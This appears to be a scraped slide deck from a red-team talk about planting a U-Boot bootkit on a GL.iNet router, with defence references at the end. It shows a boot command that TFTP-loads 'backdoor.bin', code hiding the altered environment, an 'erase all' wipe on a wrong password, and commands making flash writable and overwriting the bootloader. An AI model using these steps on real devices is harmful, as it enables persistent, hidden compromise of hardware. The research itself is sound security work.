I Boot when U-Boot
@bernardomr (MIA) @_evict 1 / 44
I Boot when U-Boot @bernardomr (MIA) @_evict 1 / 44 Agenda 1. - - PowerPoint PPT Presentation
I Boot when U-Boot @bernardomr (MIA) @_evict 1 / 44 Agenda 1. Introduction 2. The target device 3. The bootkit 4. Defending / Detecting 2 / 44 Introduction Vincent Works at KPN REDteam Likes Linux and low-level stu Located in Amsterdam
@bernardomr (MIA) @_evict 1 / 44
2 / 44
3 / 44
4 / 44
5 / 44
6 / 44
7 / 44
8 / 44
Source: https://www.gl-inet.com/gl-inet6416/ 9 / 44
10 / 44
11 / 44
12 / 44
Source: https://wikidevi.com 13 / 44
/uboot/include/configs/ap121.h
/* * ========================= * Environment configuration * ========================= */ #if defined(CONFIG_FOR_8DEVICES_CARAMBOLA2) ||\ defined(CONFIG_FOR_ALFA_NETWORK_HORNET_UB) ||\ defined(CONFIG_FOR_GL_AR150) #define CFG_ENV_ADDR 0x9F040000 #define CFG_ENV_SIZE 0x8000 #define CFG_ENV_SECT_SIZE 0x10000 #elif defined(CONFIG_FOR_BLACK_SWIFT_BOARD) #define CFG_ENV_ADDR 0x9F020000 #define CFG_ENV_SIZE 0x8000 #define CFG_ENV_SECT_SIZE 0x10000 [...SNIP...]
14 / 44
15 / 44
16 / 44
17 / 44
if ping $serverip; then tftpboot $loadaddr backdoor.bin bootm $loadaddr else bootm $fw_addr fi
18 / 44
19 / 44
if(argc == 1){ /* Print all env variables */ for(i = 0; env_get_char(i) != '\0'; i = nxt + 1){ for(nxt = i; env_get_char(nxt) != '\0'; ++nxt) { if(env_get_char(nxt) == '=') { variable[c] = '\0'; if(get_match(variable)) { // function pflag=1; // do not print } // function stuff ... for(k = i; k < nxt; ++k){ if(!pflag) { // only print when flag is not set putc(env_get_char(k)); } } if(pflag) { m++; // we have 1 match } if(m == 1) { // first match is bootargs puts("bootargs=console=ttyS0,115200 root=31:0...") } else if (m == 2) { // second match is bootcmds puts("bootcmds=bootm 0x9F020000"); m=0; // this is the last one, reset counter } // function continues.... } }
20 / 44
21 / 44
uboot/common/main.c
/* Get boot command */ bootcmd = getenv("bootcmd"); #if defined(CONFIG_BOOTCOMMAND) if (!bootcmd) setenv("bootcmd", CONFIG_BOOTCOMMAND); bootcmd = getenv("bootcmd"); #endif bootcmd = "if ping $serverip; then tftpboot $loadaddr backdoor.bin;\ bootm $loadaddr; else bootm $fw_addr; fi";
22 / 44
uboot/common/main.c
if (stopstr_len == envstopstr_len) { if (memcmp(envstopstr, stopstr, envstopstr_len) == 0) { abort = 1; bootdelay = 0; break; } else puts("\nToo bad! Wiping the device\n"); bootcmd = "erase all; reset"; tested = 1; }
23 / 44
char c; char stop[] = { 0x73, 0x75, 0x70, 0x65, 0x72, 0x73, 0x65, 0x63, 0x72, 0x65, 0x74, 0x00 }; char *envstopstr = malloc(strlen(stop)); strcpy(envstopstr, stop);
mov byte [var], 0x73; mov byte [var+1], 0x75; mov byte....
24 / 44
25 / 44
Planting the bootkit
$ export PATH=/opt/openwrt/toolchain/ toolchainmips_34kc_gcc5.3.0_musl1.1.16/bin/:$PATH $ make bootkit $ binwalk bin/bootkit.bin DECIMAL HEXADECIMAL DESCRIPTION 11672 0x2D98 uImage header, header size: 64 bytes, header CRC: 0x45DE2870, created: 20180225 15:46:34, image size: 57080 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0xA99D818A, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "UBoot 1.1.4 (Jun 25 2014)" 11704 0x2DB8 UBoot version string, "UBoot 1.1.4 (Jun 25 2014)" 11736 0x2DD8 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 156864 bytes
26 / 44
root@GLiNet:/mnt/sda1/flash# cat /proc/mtd dev: size erasesize name mtd0: 00020000 00010000 "uboot" mtd1: 00110024 00010000 "kernel" mtd2: 00ebffdc 00010000 "rootfs" mtd3: 00870000 00010000 "rootfs_data" mtd4: 00010000 00010000 "art" mtd5: 00fd0000 00010000 "firmware"
27 / 44
https://github.com/lede-project/source/blob/master/target/linux/ar71xx/image/generic.mk#L233-L241
define Device/glar150 DEVICE_TITLE := GL.iNet GLAR150 DEVICE_PACKAGES := kmodusbcore kmodusb2 BOARDNAME := GLAR150 IMAGE_SIZE := 16000k CONSOLE := ttyATH0,115200 MTDPARTS := spi0.0:256k(uboot)ro,64k(ubootenv)ro, 16000k(firmware),64k(art)ro endef TARGET_DEVICES += glar150
28 / 44
/linux/include/mtd/mtdabi.h:
#define MTD_WRITEABLE 0x400 /* Device is writeable */ #define MTD_BIT_WRITEABLE 0x800 /* Single bits can be flipped #define MTD_NO_ERASE 0x1000 /* No erase necessary */ #define MTD_POWERUP_LOCK 0x2000 /* Always locked after reset *
29 / 44
static int __init mtd_rw_init(void) if (w && !(mtd>flags & MTD_WRITEABLE)) { printk(MOD_INFO "mtd%d: setting writeable flag\n", n); mtd>flags |= MTD_WRITEABLE; err = 0; } else if (!w && (mtd>flags & MTD_WRITEABLE)) { printk(MOD_INFO "mtd%d: clearing writeable flag\n", n); mtd>flags &= ~MTD_WRITEABLE; err = 0; }
30 / 44
root@GLiNet:/mnt/sda1# insmod mtdrw.ko [ 88.660000] mtdrw: must specify i_want_a_brick=1 to continue kmod: failed to insert mtdrw.ko root@GLiNet:/mnt/sda1# insmod mtdrw.ko i_want_a_brick=1 [ 97.240000] mtdrw: mtd0: setting writeable flag [ 97.250000] mtdrw: mtd1: setting writeable flag [ 97.250000] mtdrw: mtd2: setting writeable flag [ 97.260000] mtdrw: mtd4: setting writeable flag root@GLiNet:/mnt/sda1/flash# mtd write backdoor.bin "uboot" Unlocking uboot ... Writing from backdoor.bin to uboot ...
31 / 44
if ping $serverip; then tftpboot $loadaddr backdoor.bin bootm $loadaddr else bootm $fw_addr fi
32 / 44
33 / 44
https://github.com/lede-project/source/blob/lede-17.01/package/boot/uboot-ar71xx/patches/0001-upstream- Reproducible-U-Boot-build-support-using-SOURCE_DATE_.patch 34 / 44
35 / 44
36 / 44
37 / 44
38 / 44
https://github.com/true-systems/om5p-ac-v2-unlocker
RSA_KEY_HEADER_SIZE=0x20 RSA_KEY_OFFSET=0x8000 ART_PARTITION=mtd7 BYTES=$((RSA_KEY_HEADER_SIZE)) SEEK=$(($RSA_KEY_OFFSET/$RSA_KEY_HEADER_SIZE)) dd if=/dev/zero bs=$BYTES count=1 | dd of=/dev/$ART_PARTITION bs=$BYTES seek=$SEEK count=1 conv=notrunc
https://github.com/true-systems/om5p-ac-v2-unlocker/wiki/Open-Mesh-lock-down-exploit 39 / 44
https://www.blackhat.com/docs/eu-16/materials/eu-16-Timmers-Bypassing-Secure-Boot-Using-Fault- Injection.pdf
https://www.youtube.com/watch?v=74SzIe9qiM8 40 / 44
APT 27 hacking popular software (CCleaner), targeting IT vendors and hardware suppliers: http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html 41 / 44
http://glenngreenwald.net/pdf/NoPlaceToHide-Documents-Compressed.pdf 42 / 44
https://lwn.net/Articles/571031/
https://github.com/advanced-threat-research/rmware-security-training
https://www.nostarch.com/rootkits 43 / 44
44 / 44